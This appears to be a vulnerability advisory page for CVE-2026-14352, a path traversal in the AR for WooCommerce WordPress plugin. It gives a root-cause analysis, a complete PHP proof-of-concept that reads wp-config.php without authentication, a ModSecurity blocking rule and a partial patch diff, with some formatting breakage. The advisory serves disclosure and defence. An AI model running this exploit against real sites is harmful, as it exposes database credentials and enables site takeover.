{
“analysis”: “Atomic Edge analysis of CVE-2026-14352:nnThis vulnerability allows unauthenticated attackers to read arbitrary files on the server via a directory traversal attack in the AR for WooCommerce plugin for WordPress, versions up to and including 8.40. The affected component is the secure download mechanism, specifically the file served by ‘ar-secure-download.php’ through the ‘file’ parameter. The vulnerability has a CVSS score of 7.5, indicating high severity.nnRoot Cause: The root cause is a failure of three intended access controls. First, the nonce check in ‘ar-secure-download.php’ validates a nonce with action ‘ar_secure_nonce’, but unauthenticated attackers can mint valid nonces by calling the AJAX handlers ‘ar_get_fresh_nonce’ and ‘ar_process_user_image’ (both nopriv, meaning no authentication required). Second, the AES-256-CBC encryption key was derived via ‘get_option(‘ar_licence_key’)’, which on free installations returns false, producing a predictable key that attackers can use to encrypt their own path payloads. Third, the Referer header check could be trivially bypassed by setting the Referer header to the site’s home URL. After encryption, the ‘file’ parameter in the URL to ‘ar-secure-download.php?file=ENCRYPTED_PAYLOAD’ is decrypted and used to construct a file path without proper validation, allowing directory traversal.nnExploitation: An attacker first obtains a valid nonce by making an unauthenticated POST request to ‘/wp-admin/admin-ajax.php’ with action=’ar_get_fresh_nonce’. Then, using the predictable encryption key (from the default license key), the attacker crafts an encrypted payload that contains a path traversal string (e.g., ‘../../wp-config.php’). The attacker then requests ‘/wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php?file=ENCRYPTED_PAYLOAD&_wpnonce=VALID_NONCE’. The plugin decrypts the payload, appends it to the uploads base directory, but fails to validate the path, allowing reading of any file on the server, including ‘wp-config.php’ with database credentials.nnPatch Analysis: The patch introduces several security improvements. A new function ‘ar_get_secure_download_secret()’ generates and stores a random 64-character secret in the WordPress options table, replacing the predictable ‘ar_licence_key’. A new function ‘ar_validate_secure_download_path()’ performs strict validation: it rejects null bytes, normalizes directory separators, blocks absolute paths and directory traversal (‘..’), restricts file extensions to ‘gltf’, ‘glb’, ‘usdz’, and ensures the resolved path is within the uploads directory. The nonce action is changed from ‘ar_secure_nonce’ to ‘ar_secure_download_nonce’, and the base64 decode now uses strict mode (returning false on invalid input). The ‘ar_is_within_wordpress_install’ function now only allows files from the uploads directory, removing the broader home_url check.nnImpact: Successful exploitation allows an unauthenticated attacker to read arbitrary files from the server’s filesystem. This can expose sensitive information such as WordPress configuration files (wp-config.php) containing database credentials, API keys, and salts, potentially leading to full site compromise, data breaches, or lateral movement within the hosting environment.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-14352 – AR for WooCommerce <= 8.40 – Unauthenticated Path Traversal to Arbitrary File Read via 'file' ParameternnWordPress site URLnn// Step 1: Get a fresh nonce (unauthenticated)n$admin_ajax = $target_url . '/wp-admin/admin-ajax.php';n$nonce_response = file_get_contents($admin_ajax . '?action=ar_get_fresh_nonce');nif ($nonce_response === false) {n die('Failed to get nonce');n}n$nonce = trim($nonce_response);necho "Got nonce: $nonce\n";nn// Step 2: Prepare the path traversal payload (e.g., read wp-config.php)n$target_file = '../../wp-config.php';nn// Step 3: Derive the encryption key (same as plugin on free installations)n// The key is derived from get_option('ar_licence_key'), which returns false on free installationsn// hash('sha256', '') produces the same keyn$key = substr(hash('sha256', '', true), 0, 32);nn// Step 4: Encrypt the file path using AES-256-CBCnfunction encrypt_file_path($file_path, $key) {n $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('AES-256-CBC'));n $encrypted = openssl_encrypt($file_path, 'AES-256-CBC', $key, 0, $iv);n if ($encrypted === false) {n return false;n }n return base64_encode($iv . '::' . $encrypted);n}nn$encrypted_payload = encrypt_file_path($target_file, $key);nif ($encrypted_payload === false) {n die('Encryption failed');n}necho "Encrypted payload: $encrypted_payload\n";nn// Step 5: Make the request to read the filen$download_url = $target_url . '/wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php';n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $download_url . '?file=' . urlencode($encrypted_payload) . '&_wpnonce=' . $nonce);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HEADER, false);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);n// Set Referer header to bypass referer checkncurl_setopt($ch, CURLOPT_REFERER, $target_url);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho "HTTP Code: $http_code\n";nif ($http_code == 200 && !empty($response)) {n echo "Response (truncated to 1000 chars):\n";n echo substr($response, 0, 1000) . "\n";n} else {n echo "Failed to read file. Response: $response\n";n}n",
"modsecurity_rule": "# Atomic Edge WAF Rule – CVE-2026-14352n# Block path traversal attempts via direct file access to ar-secure-download.phpnSecRule REQUEST_URI "@streq /wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php" \n "id:20261435,phase:2,deny,status:403,chain,msg:'CVE-2026-14352 – AR for WooCommerce Path Traversal Attempt',severity:'CRITICAL',tag:'CVE-2026-14352'"n SecRule ARGS:file "@rx [.]{2}/" "chain"n SecRule ARGS:file "@rx [.]{2}/"
}

Published : July 2, 2026
CVE-2026-14352: AR for WooCommerce <= 8.40 Unauthenticated Path Traversal to Arbitrary File Read via 'file' Parameter PoC, Patch Analysis & Rule
CVE ID
CVE-2026-14352
Plugin
ar-for-woocommerce
Severity
High
(CVSS 7.5)
CWE
22
Vulnerable Version
8.40
Patched Version
8.41
Disclosed
July 1, 2026
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/ar-for-woocommerce/ar-woocommerce.php
+++ b/ar-for-woocommerce/ar-woocommerce.php
@@ -3,7 +3,7 @@
* Plugin Name: AR for WooCommerce
* Plugin URI: https://augmentedrealityplugins.com
* Description: AR for WooCommerce Augmented Reality plugin.
- * Version: 8.40
+ * Version: 8.41
* Requires at least: 5.5
* Requires PHP: 7.4
* Author: Web and Print Design
--- a/ar-for-woocommerce/includes/ar-secure-download.php
+++ b/ar-for-woocommerce/includes/ar-secure-download.php
@@ -17,6 +17,19 @@
}
/************* Function to decrypt the file path *******************/
+if (!function_exists('ar_get_secure_download_secret')){
+ function ar_get_secure_download_secret() {
+ $secret = get_option('ar_secure_download_secret');
+
+ if (!is_string($secret) || strlen($secret) < 32) {
+ $secret = wp_generate_password(64, true, true);
+ update_option('ar_secure_download_secret', $secret, false);
+ }
+
+ return $secret;
+ }
+}
+
if (!function_exists('ar_decrypt_file_path')){
// Function to decrypt the file path
function ar_decrypt_file_path($encrypted_data, $key) {
@@ -24,7 +37,11 @@
$key = substr(hash('sha256', $key, true), 0, 32);
// Decode the encrypted data
- $data = base64_decode($encrypted_data);
+ $data = base64_decode($encrypted_data, true);
+ if ($data === false) {
+ return false;
+ }
+
$parts = explode('::', $data, 2);
if (count($parts) < 2) {
@@ -33,41 +50,72 @@
$iv = $parts[0];
$encrypted = $parts[1];
+
+ if (strlen($iv) !== openssl_cipher_iv_length('AES-256-CBC')) {
+ return false;
+ }
// Decrypt the file path
return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv);
}
}
+/************* Function to validate a decrypted uploads path *******************/
+if (!function_exists('ar_validate_secure_download_path')){
+ function ar_validate_secure_download_path($file_path, $allowed_directory) {
+ if (!is_string($file_path) || $file_path === '' || strpos($file_path, "